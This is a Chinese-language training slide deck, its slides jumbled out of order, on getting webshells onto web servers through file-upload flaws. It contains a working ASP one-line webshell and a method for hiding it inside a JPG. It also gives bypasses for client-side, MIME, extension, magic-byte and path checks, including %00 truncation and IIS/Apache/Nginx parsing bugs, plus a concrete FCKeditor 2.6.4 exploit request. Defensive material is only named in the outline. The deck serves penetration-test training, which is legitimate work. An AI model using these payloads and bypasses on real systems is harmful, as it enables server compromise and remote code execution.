03上传漏洞基础与进阶
合集下载
相关主题
- 1、下载文档前请自行甄别文档内容的完整性,平台不提供额外的编辑、内容补充、找答案等附加服务。
- 2、"仅部分预览"的文档,不可在线预览部分如存在完整性等问题,可反馈申请退款(可完整预览的文档不适用该条件!)。
- 3、如文档侵犯您的权益,请联系客服反馈,我们会尽快为您处理(人工客服工作时间:9:00-18:30)。
径里。
WebShell上传利用
绕过服务端MIME类型检测上传WebShell
有时候仅仅对文件名后缀进行判断并不能有效阻止恶意文件的上传(比
如某服务器只允许上传jpg文件格式,不允许上传后缀为php等文件,但 是把后缀为php改为后缀为jpg上传到服务器,某些情况下也能执行上传
文件),因此对文件格式进行检测十分必要,也就是服务器端MIME类型
WebShell上传利用
代码注入图片
先准备图片picture.jpg,然后把asp一句话木马(诸如<% execute
(request(“value”)) %>)插入图片最后,如下图所示:
上图红框1出为标识jpg文件的幻数,红框2处为植入的一句话木马,把 该图片上传到服务器端。
WebShell上传利用
改图上图中红框处为application/zip,再次上传2.asp文件,查看
files文件夹(该文件夹为上传文件默认目录),页面返回下图。
WebShell上传利用
绕过文件内容检测上传WebShell 文件内容检测即通过检测特定文件某些特殊标志位来判断是否是允许上 传的一种方法,以后缀为.jpg图片文件为例,该文件头有一组特殊二进 制数标识 FF D8 FF E0 00 10 4A 46 49 46(这些二进制数也叫文件幻 数),那么就可以通过判断上传文件的文件头来验证文件的类型。 其实检测文件幻数只是检测的一项内容,还可以对文件相关信息、文件 渲染加载后检测,面对这些检测,可以把一句话木马注入图片文件最后 面,这样既实现了代码注入也不会破坏图片结构,具体步骤包括:代码 注入图片、引用创建的文件、使用客户端连接一句话木马。
绕过白名单检测方法
输入:http://[IP]/UPLOAD_CS_2.aspx,如果直接上传2.asp文件,页
面返回如下图。
WebShell上传利用
绕过白名单检测方法
把上传文件名改为2.asp.%00.jpg,继续上传,页面返回如图。
从上图可以得出结论成功上传2.asp%00.jpg文件,.jpg绕过了应用的白 名单检测,但对于服务器来说,由于后台某些函数作用(诸如 CreateTextFile()),此文件会被%00字符截断,最终会以2.asp存入路
用户提交的目录路径参数函数,不具有通用性,这里仅介绍下原理。
以fckeditor php <= 2.6.4 任意文件上传漏洞为例,存在漏洞代码如 下图:
WebShell上传利用
绕过服务端目录路径检测上传WebShell
输入
/fckeditor264/filemanager/connectors/php/connector.php?Command= FileUpload&Type=Image&CurrentFolder=fuck.php%00.gif HPPT/1.0
绕过黑名单检测方法
文件名大小写绕过:诸如AsP、Aspx之类的后缀绕过黑名单检测。
黑名单列表绕过:用黑名单里没有的后缀文件进行攻击,iis默认执行 .asp、.asa、.cer,有时候黑名单过滤不全,没有过滤掉像后缀为asa
、cer之类的文件,但这些文件可以像asp文件一样执行,此时可以使
用这些后缀绕过黑名单。
WebShell上传探测
收集可测试点:
利用WVS的spider工具收集可测试点,如下图:利用WVS的spider工具收
集可测试点,如下图:
spider发现了危险的上传目录(红框1处)、开启了WebDAV方法等漏洞
,根据扫描结果方便接下来依据不同结果进行利用。
WebShell上传利用
WebShell上传利用
上图红框1处为检测用户上传文件的js脚本,该脚本限制只能上传.txt
和.docx两种类型,红框2处是利用onmouseover事件触发check_file函数
。
WebShell上传利用
绕过客户端检测上传WebShell
输入:http://[IP]/UPLOAD_CS_1.aspx,同时上传1.asp文件,页面返
引用上传的文件
同时创建一个引用包含一句wenku.baidu.com木马的图片的文件picture.asp,代码如
下: <!--#include file="picture.jpg"-->
把该文件上传到服务器端(这里之所以先上传jpg文件,再上传一个引用
上传jpg的asp文件,主要目的是为了隐藏一句话木马的目的)。
WebShell上传利用
WebShell上传利用
绕过客户端检测上传WebShell
客户端检测即利用响应页面js脚本检测用户输入的一种方法,该方法在
客户端进行,其明显特征是在用户上传文件到服务器之前进行检测,假 如不符合要求,会提示相应错误。
WebShell上传利用
绕过客户端检测上传WebShell
服务器端含有js检测脚本的文件UPLOAD_CS_1.aspx,代码如下图
绕过服务端MIME类型检测上传WebShell
输入:http://[IP]/mime.aspx,上传文件2.asp文件,页面返回如下图
。
上图返回错误页面,提示“不支持的mime文件”,接下来使用 burpsuite拦截请求。
WebShell上传利用
绕过服务端MIME类型检测上传WebShell
WebShell上传利用
绕过客户端检测上传WebShell
把上图红框处1.txt改为1.asp,然后点击“forward”按钮,查看服务
器端Files文件夹,如下图:
WebShell上传利用
绕过服务端文件扩展名检测上传WebShell
服务器端文件扩展名检测是利用服务器端应用程序检测用户上传文件
回如下图:
WebShell上传利用
绕过客户端检测上传WebShell
鼠标刚点击“上传文件”按钮便弹出了一个警告对话框,查看返回HTML
页面的源代码:
WebShell上传利用
绕过客户端检测上传WebShell
使用代理工具绕过客户端验证,例如上传1.asp文件,先将文件名改为
1.txt,打开burpsuite代理工具,点击“上传文件”按钮:
WebShell上传利用
使用客户端连接一句话木马
上图红框处为海洋2005木马,点击提交后,访问上传木马,如下图:
WebShell上传利用
绕过服务端目录路径检测上传WebShell
服务器端目录路径检测即对用户提交目录路径参数进行检测的一种方法
,有时候检测不够严谨而导致可以用%00截断进行攻击,该漏洞的本质同 黑名单检测%00截断本质一样,但该漏洞要求服务器端应用程序具有处理
利用sql注入上传WebShell 利用WebDAV上传WebShell
利用.htaccess文件上传WebShell
WebShell上传利用
直接上传WebShell
探测到上传点后,接下来进入上传WebShell步骤,假如服务器端对用户
提交参数或者文件没有进行过滤或者过滤不当,则能够直接上传 WebShell,那么接下来进入执行WebShell步骤即可。
作为asp文件进行解析。此外具有此特性的不单单是类似/*.asp/目录, 还包括/*.cer /、/*.asa /、/*.cdx /、/*.cer \(此种类型浏览器直接
性。 0x00截断:在许多语言的常用字符串处理函数中,0x00被认为是终止符
,比如应用只允许上传jpg图片,那么可以构造文件名为2.asp%00.jpg,
.jpg绕过了应用的上传文件类型判断,但对于服务器来说,此文件因为 %00字符截断的关系,最终会以2.asp存入路径里。
WebShell上传利用
检测。 服务器端MIME类型检测asp、aspx利用response对象的ContentType属性
,php利用$_FILES[‘userfile’][‘type’] 、jsp也使用response对
象的ContentType属性(与asp类似)。
WebShell上传利用
绕过服务端MIME类型检测上传WebShell
绕过白名单检测方法
0x00截断:基于白名单检查主要使用0x00截断绕过,同黑名单0x00截断
绕过,下图服务器端白名单检测文件为UPLOAD_CS.aspx.cs,部分代码如 下图:
WebShell上传利用
绕过白名单检测方法
下图使用白名单规定了不允许上传后缀为asp、aspx以及dll的文件
WebShell上传利用
实际上传的是fuck.php。
WebShell上传利用
利用过滤不完全上传WebShell
利用过滤不完全把变形或者加密木马写入服务器端是目前得到WebShell
的最为主要的方法之一,该部分属于木马逃逸,在后面进行详细介绍。
WebShell上传利用
利用服务器漏洞上传WebShell
Web服务器解析漏洞产生是由于web server本身特性功能设计存在缺陷
WebShell上传利用
绕过黑名单检测方法
特殊文件名绕过:比如发送的HTTP包里把文件名改成test.asp. 或
test.asp_(下划线为空格),这两种命名方式在windows系统里是不被允 许的,所以需要在代理工具burpsuite进行修改,然后绕过验证后,会被
windows系统自动去掉后面的点和空格,但注意Unix/Linux系统没有此特
使用客户端连接一句话木马
客户端代码c1.html代码如下图:
其中Adodb.Stream是ADO的Stream对象,提供存取二进制数据或者文本
流,从而实现对流的读、写和管理等操作。
WebShell上传利用
使用客户端连接一句话木马
该代码作用是连接服务器端一句话木马,然后上传大马。
使用浏览器打开客户端c1.html,如下图所示
上传漏洞
王朋涛 深信服北京安全团队
培训提纲
1.上传整体框架 2.WebShell上传探测
3.WebShell上传利用
4.执行WebShell
5.WebShell提权
6.防御与逃逸 7.常用工具 8.总结
上传整体框架
上传整体框架
WebShell上传主要包括探测和利用阶段,具体如下:
探测阶段:该阶段主要是搜集可测试点,以方便下一步的利用。
接下来以aspx为例通过检测http包的content-type字段的值来判断上传
文件是否合法,实验使用的服务器端文件为mime.aspx,部分代码如下图 。
上图红框处使用POSTFile对象的ContentType属性,限定只允许上传
application/zip类型。
WebShell上传利用
CurrentFolder这个变量的值会传到上图有漏洞代码
ServerMapFolder($resourceType, $folderPath, $sCommand)中的形参 $folderPath里,而$folderPath在这个函数中并没做任何检测,就传入
CombinePaths()函数,同时变量CurrentFolder中%00后面的会被截断,
上传方法:
直接上传WebShell 绕过客户端检测上传WebShell 绕过服务端文件扩展名检测上传WebShell
绕过服务端MIME类型检测上传WebShell
绕过文件内容检测上传WebShell 绕过服务端目录路径检测上传WebShell
利用服务器漏洞上传WebShell
造成的漏洞,各主流服务都曾被爆文件解析漏洞,如下:
- IIS6.0解析漏洞1
- IIS6.0解析漏洞2
- IIS7.0/7.5解析漏洞 - Apache文件解析漏洞
- Nginx解析漏洞
WebShell上传利用
IIS6.0解析漏洞1
此洞原理是处理文件扩展名出错,导致将/*.asp/目录下的所有文件都
的后缀名,从而做出允许或者阻止的一种方法,该方法包含黑名单和 白名单两种形式,具体如下:
- 黑名单检测:一般是建立一个专门的blacklist文件,里面枚举常见的危险
文件后缀。 - 白名单检测:一般是定义一个允许或者阻止用户上传文件类型的后缀的文件
,里面枚举相应的文件后缀。
WebShell上传利用
利用阶段:该阶段主要是利用发现的上传漏洞上传并执行WebShell。
WebShell上传渗透测试框架
WebShell上传探测
WebShell上传探测
收集可测试点:
常见的可测试点包括应用程序上传功能(诸如上传头像、附件上传等)、用户 可控的输入点或者参数(页面POST表单部分、url参数、sql注入点等)、HTTP 开启的方法(诸如WebDAV)等,收集可测试点的过程中,应尽量确保覆盖范围 ,不遗漏每一个可测试点。